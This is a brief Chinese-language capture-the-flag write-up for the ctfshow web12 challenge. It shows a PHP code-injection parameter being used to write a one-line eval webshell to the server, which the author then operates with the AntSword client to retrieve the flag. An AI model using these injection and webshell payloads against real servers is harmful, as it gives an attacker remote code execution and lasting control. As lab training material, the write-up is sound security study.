ctfshow-web12`

题目

查看源代码获得提示：?cmd=

发送请求试试

url/?cmd=phpinfo();

禁用的参数有点多问题不大，蚁剑启动！！！

嘎！启动失败，话说这个错爆的我一脸懵逼。怎么可能不是linux系统

继续分析file_put_contents没有禁用，创建一个一句话木马文件试试

url/?cmd=file_put_contents('1.php','<?php @eval($_POST[cmd]);?>');

蚁剑再次启动！！！

启动成功

拿到flag，都说web安全的尽头是二进制安全我觉得没毛病。

做完这题我去看其他师傅是用glob函数做出了的，下去我去试了一下，我感觉师傅真的太骚了。